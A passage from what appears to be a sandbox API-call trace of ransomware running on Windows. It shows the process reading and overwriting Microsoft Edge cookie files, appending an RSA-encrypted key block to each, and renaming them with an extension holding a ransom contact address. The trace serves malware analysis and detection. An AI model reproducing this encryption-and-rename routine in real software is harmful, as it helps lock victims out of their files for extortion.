pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0298.907] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0298.907] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0298.907] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="cAs58tCW7H6uzmrzQihWYqMQyuEj3Odd6Bz91Pm0/Iwx3VttwSnfwi5nDB/8S1Lu\nWUWfR6u3NqOu4S5zfba9NzmMSJz3of/EGuajx8dQd1Ol3THq4AzY4s3lBHQTG7g/\nbTnRYbL0RECp7rZAYBCeRE6iO2rdTpt04iXZvmeMpLa5U7LEJPZJ0EK1mxXguFaG\nxZpY2QDkIg1/4LEcqmsZiYE6tB5VvG4u+xMYSMvADppBHPtk+bRIzDytYQHCGYOr\n+FDiw7+ivuKd4dsphoCzS+Dsy7zGF0DA/XDnHJ0gYaDtU2cbGG/VoT5T7M2HCPVp\nM2ZBzjsmmqpbHyxEOfRHGA==\n", pcchString=0x2e3f9a8) returned 1 [0298.907] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0298.907] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.907] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.907] CloseHandle (hObject=0x1b90) returned 1 [0298.907] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0298.907] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\YGM53NMZ.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\ygm53nmz.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\YGM53NMZ.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\ygm53nmz.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0298.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0298.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6708 | out: hHeap=0x570000) returned 1 [0298.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0298.909] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81ba8 | out: hHeap=0x570000) returned 1 [0298.909] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0298.909] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\XQSRME5N.cookie", dwFileAttributes=0x80) returned 1 [0298.910] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f81ba8 | out: hHeap=0x570000) returned 1 [0298.910] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\XQSRME5N.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\xqsrme5n.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0298.911] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=110) returned 1 [0298.911] ReadFile (in: hFile=0x1b90, lpBuffer=0x2f3e4a8, nNumberOfBytesToRead=0x6e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e4a8*, lpNumberOfBytesRead=0x2e3f9b4*=0x6e, lpOverlapped=0x0) returned 1 [0298.912] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-110, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0298.912] WriteFile (in: hFile=0x1b90, lpBuffer=0x2f3e2c8*, nNumberOfBytesToWrite=0x6e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e2c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6e, lpOverlapped=0x0) returned 1 [0298.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e4a8 | out: hHeap=0x570000) returned 1 [0298.912] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f3e2c8 | out: hHeap=0x570000) returned 1 [0298.912] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6e [0298.912] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.913] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.913] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0298.913] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0298.913] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0298.913] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="g3cOD+8gMVgDMWMSBJhDip15jA3e3JRl68kwmVZmEb6FHwwi3r9ZBLgTGPTSIX0R\n1/M73qZZcd76IoUM0700+qcsRLb/OTsD98cVlcug3fSkuLd5ELeIe51B85Nf9K9v\nkYVNcvLC1w7sq/OZOZFqaYKJyXTMy8xQpEZZ6SJBSKDmll18gHKzd8OBWiakGeRD\nh4syl1En9TOqZWGLQOaKO4S1dsLS9yDC2VbeeskEhK8JR4OkIi08xBg68l9f0Qyg\n8dL6+pcONDeqOzaSEsMB7dxC7RGGI/3X74YZ1VwBvoioAbFuZyoMyfzLfx2pUuSe\nhpNWdATeHbdpk2BBG+sQVg==\n", pcchString=0x2e3f9a8) returned 1 [0298.913] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0298.913] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.913] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.913] CloseHandle (hObject=0x1b90) returned 1 [0298.913] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0298.913] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\XQSRME5N.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\xqsrme5n.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\XQSRME5N.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\xqsrme5n.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0298.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a5ef8 | out: hHeap=0x570000) returned 1 [0298.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6640 | out: hHeap=0x570000) returned 1 [0298.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0298.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83468 | out: hHeap=0x570000) returned 1 [0298.916] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0298.916] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\WIG5OBMH.cookie", dwFileAttributes=0x80) returned 1 [0298.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f83678 | out: hHeap=0x570000) returned 1 [0298.916] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\WIG5OBMH.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\wig5obmh.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0298.917] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=87) returned 1 [0298.917] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c9158, nNumberOfBytesToRead=0x57, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c9158*, lpNumberOfBytesRead=0x2e3f9b4*=0x57, lpOverlapped=0x0) returned 1 [0298.918] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-87, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0298.918] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c8fd8*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c8fd8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x57, lpOverlapped=0x0) returned 1 [0298.918] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x57 [0298.918] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.918] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.918] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0298.918] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0298.919] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0298.919] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5D264t2SHXciYzMidBYkuuqVFLPSxoA13YzyH04+zJsj7KOBUcjm4rPB/jeD3S4S\nVBVpXSnr7edBxnHE/C1uDPMUJhVItzJFIptPibpuhlbcYXnJTkAXGSgMUWw7qwUS\nkjxIiA7WgA4h6/Mqst9eKCDnD0xLox8JE5TnJvpbKgNtWBRErnx4QmUNJBnuS/Sc\nLXT0X2rqHpUU/GIaA6geJiUU6yDY7QN3nYSM/qwrtekhdwv24hxGk2ga0msR0xzm\nH/t3FCrYtcXvVx4IthfrR8LMZK6S5BW/p5rs76LZy/1cpleWOKpXpP+SIJFLFbQV\nyAhdsoT/zelBBXbwv40moQ==\n", pcchString=0x2e3f9a8) returned 1 [0298.919] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0298.919] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.919] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.919] CloseHandle (hObject=0x1b90) returned 1 [0298.919] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\WIG5OBMH.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\wig5obmh.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\WIG5OBMH.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\wig5obmh.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0298.921] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0298.921] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VFMAORI3.cookie", dwFileAttributes=0x80) returned 1 [0298.922] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VFMAORI3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vfmaori3.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0298.923] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=461) returned 1 [0298.923] ReadFile (in: hFile=0x1b90, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1cd, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1cd, lpOverlapped=0x0) returned 1 [0298.924] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-461, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0298.924] WriteFile (in: hFile=0x1b90, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x1cd, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1cd, lpOverlapped=0x0) returned 1 [0298.924] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1cd [0298.924] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.924] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.924] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0298.924] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0298.925] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0298.925] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pi+Mw0HceuUU+ZX4HD17AH8tWTZjBfrEe2BFyzysZsZHf9VG6Kg1UtkvWyH6yHns\nSz5PZ96kOEckwyh3D1iTXUQAwOWZS7f8wNJ3NhEzW4DXIf+7JPs+SxH5hhR/1urv\nSIf7zTWxse0zphs36tRyM0NzNARK3zjzuP0qG+hIMAt7NWYfg+51c7j6ZcWr7gUY\nO8HlXHci7Z3OV6MOhK38P6NnyWP6Z8FwRppsRnFoY0XxFKGoskCMmZi9qzDmmGV5\nqFOx/rftqtd4cOPZKxeUwvBDSvv6uP8NF+VDDNTYfk/dmUxqfu6jD8KJGENsXio5\nEOt81aAEtff7qB5Y8fyrgg==\n", pcchString=0x2e3f9a8) returned 1 [0298.925] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0298.925] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.925] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.925] CloseHandle (hObject=0x1b90) returned 1 [0298.925] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VFMAORI3.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vfmaori3.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\VFMAORI3.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\vfmaori3.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0298.928] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0298.928] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\UZ3Q0402.txt", dwFileAttributes=0x80) returned 1 [0298.928] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\UZ3Q0402.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\uz3q0402.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0298.929] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=102) returned 1 [0298.929] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a10c8, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x66, lpOverlapped=0x0) returned 1 [0298.930] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0298.930] WriteFile (in: hFile=0x1b90, lpBuffer=0x57e1d0*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57e1d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x66, lpOverlapped=0x0) returned 1 [0298.930] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x66 [0298.930] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.930] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.931] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0298.931] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0298.931] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0298.931] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="CANEvt2D3MN1Kkjbctgf8/oboJ4h1TB7tNKlj57biQSquQ+H+bBaERWWvijZ9se+\nwkCVp4SC5AVvKGryUeOWWGLkmU7G4yraATOM4OKHk2roL6PeNgXLnyLCYLKUvjN8\nlxZBd5SpU7Xkdo6PncRRh3Rd3aTjDTvMELi75HY5X2CIeUt4H52OKRgzgUF5DzFS\nqa2JqEaUNKE3hRiZjqgUhxp1Bj6QsAp4nWNbI1FFpR5kO5JAJ20NnJA+8LQ/wQY+\nBN4aMpBgEA253DkDLnZlUuVmdo2b28BC/zuolWysQfsbA0beF3m4mJLkY7N/oz9F\ngtAcns226aOCulMSDuTuZw==\n", pcchString=0x2e3f9a8) returned 1 [0298.931] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0298.931] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0298.931] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0298.931] CloseHandle (hObject=0x1b90) returned 1 [0298.931] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\UZ3Q0402.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\uz3q0402.txt"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\UZ3Q0402.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\uz3q0402.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0299.711] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0299.711] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\S7Q1EH8Y.txt", dwFileAttributes=0x80) returned 1 [0299.873] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\S7Q1EH8Y.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\s7q1eh8y.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0299.874] GetFileSizeEx (in: hFile=0x1b90, 